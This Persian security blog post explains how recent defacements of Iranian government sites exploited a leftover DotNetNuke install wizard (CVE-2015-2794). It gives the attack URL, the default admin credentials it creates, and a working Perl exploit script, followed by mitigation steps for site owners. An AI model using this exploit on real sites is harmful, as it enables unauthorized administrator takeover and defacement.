پیشگو

نشود فاش کسی آنچه میان من و توست

پیشگو

نشود فاش کسی آنچه میان من و توست

پیشگو

تا نگردی آشنا زین پرده رمزی نشنوی
گوش نامحرم نباشد جای پبغام سروش

این وبلاگ محلی برای به اشتراک گذاری نوشته های من در مورد امنیت و مسائل مربوط به اون هست

-استفاده از مطالب تنها با ذکر منبع آزاد است

دیفیس های اخیر سایت های ایرانی چگونه صورت گرفت؟

mohammad reza | يكشنبه, ۲۳ خرداد ۱۳۹۵، ۰۹:۲۲ ق.ظ

در طی روز های گذشته حملات مهاجمین از کشورهای عربی به وبسایت های دولتی ایران بسیار خبرساز شده است. اما نکته جالب توجه در مورد نفوذهای انجام شده، ساده بودن آن است بطوری که یک نوجوان نه چندان ماهر هم میتواند این حملات را ترتیب دهد.

احتمالا تا کنون متوجه شده اید که بستر آسیب پذیر چه بوده است، دات نت نیوک، یک سیستم مدیریت محتوای کدباز، قابل توسعه و مقیاس پذیر که صدها هزار کسب و کار کوچک و بزرگ از آن برای راه اندازی وب سایت خود استفاده کرده‌اند. این سامانه همواره به داشتن حفره های خطرناک و ساده معروف بوده است. نکته جالب در مورد آن این است که چندین شرکت داخلی با پشتیبانی چند برنامه نویس نمای نه چندان با سواد اقدام به کسب در آمد از این سامانه ناامن کرده اند. کار تا جایی پیش رفته که سایت سازمان پدافند غیر عامل کشور هم از دات نت نیوک بهره میبرد !



اما در طی این پست قصد دارم تا نحوه نفوذ از طریق این حفره را تشریح کنیم. این حفره از باقی ماندن فایل های نصب و سو استفاده از ان ناشی میشود. کافی است مهاجم URL مخصوص به دسترسی به فایل های نصب را پیدا کرده و عملیات نصب را مجددا راه اندازی کند .


این کار به سادگی و با مراجعه به آدرس زیر قابل انجام است :

/Install/InstallWizard.aspx?__VIEWSTATE=&culture=en-US&executeinstall



نتیجه یک درخواست بر روی یک وبسایت داخلی :



پس از تکمیل فرآیند نصب مجدد، یک نام کاربری 'host' با رمز عبور 'dnnhost' به دیتابیس افزوده میشود و میتوان با درخواست صفحه ورود، از این نام کاربری و رمز عبور استفاده کرد.


 ورود به وبسایت با دسترسی مدیر به راحتی هرچه تمام تر صورت میگیرد


اما در صورتی که دیتابیس DNN بصورت پیش فرض کانفیگ نشده باشد، حمله همچنان محتمل است اما مهاجم باید از کانفیگ اطلاع داشته و یا آن را حدس بزند، سپس یک نام کاربری و رمز عبور را برای خودش ایجاد کند.

ادامه حمله از این بخش قابل پیگیری است :

/Install/InstallWizard.aspx?__VIEWSTATE=


نمونه یک وبسایت داخلی :


سپس مهاجم با حدس زدن name server میتواند به مرحله نصب رفته و از نام کاربری و رمز عبور وارد شده برای ورود به سامانه استفاده کند.

برای اطلاعات بیشتر در مورد این حمله میتوانید به لینک زیر مراجعه کنید :

https://www.exploit-db.com/exploits/39777/



برای کوتاه تر کردن مراحل کار نیز اکسپلویت ساده زیر نوشته شده است


#!/usr/bin/perl
#coded by mohamadreza@offsec.ir
#CVE: 2015-2794
#https://www.exploit-db.com/exploits/39777/

use LWP::UserAgent;

my $ua = LWP::UserAgent->new;

$target = $ARGV[0];
chomp $target;

#add exploit to url
my $evil ="$target./Install/InstallWizard.aspx?__VIEWSTATE=&culture=en-US&executeinstall";

# set custom HTTP request
my $req = HTTP::Request->new(GET => $evil);
$req->header('content-type' => 'application/json');
$req->header('x-auth-token' => 'kfksj48sdfj4jd9d');

$req->header('User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; rv:38.0) Gecko/20100101 Firefox/38.0');
$req->header('Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');
$req->header('Accept-Language' => 'en-US,en;q=0.5');
$req->header('Accept-Encoding' => 'gzip, deflate');
$req->header('Cookie' => 'amar=true');
my $resp = $ua->request($req);
if ($resp->is_success) {
    my $message = $resp->decoded_content;
    print "HTTP status: ", $resp->code( ), "\n";
    print $sl = $resp->status_line( ), "\n";
    print $resp->headers_as_string, "\n\n"

}

print "====== [ Enjoy your access! ] ===== \n";

print "Now you can login with the username: 'host', password: 'dnnhost' \n";




نتیجه اجرا :


لینک ویدئو:

http://www.aparat.com/v/mcZ6U



برای محافظت سایت خود در مقابل آسیب‌پذیری فوق مراحل زیر را انجام دهید:

  • فایل‌های Install.aspx, Install.aspx.cs, InstallWizard.aspx, InstallWizard.aspx.cs, UpgradeWizard.aspx, UpgradeWizard.aspx.cs را از پوشه Install نرم‌افزار دی‌ان‌ان حذف نمایید
  • در بخش میزبان -> تنظیمات میزبان -> تب سایر تنظیمات -> فایل‌های مجاز مطمئن شوید که فایل aspx در لیست فایل‌ها قرار نداشته باشد
  • وارد صفحه میزبان -> مدیران ارشد شده و لیست مدیران ارشد سایت را بررسی نموده و مطمئن شوید کاربر اضافی در لیست وجود نداشته باشد
  • فایل‌هایی با پسوند aspx و php را در سطح روت سایت و زیر پوشه‌ها بررسی نموده و مطمئن شوید فایل اضافی در سایت شما بارگذاری نشده باشد
  • mohammad reza

نظرات  (۰)

هیچ نظری هنوز ثبت نشده است

ارسال نظر

ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
تجدید کد امنیتی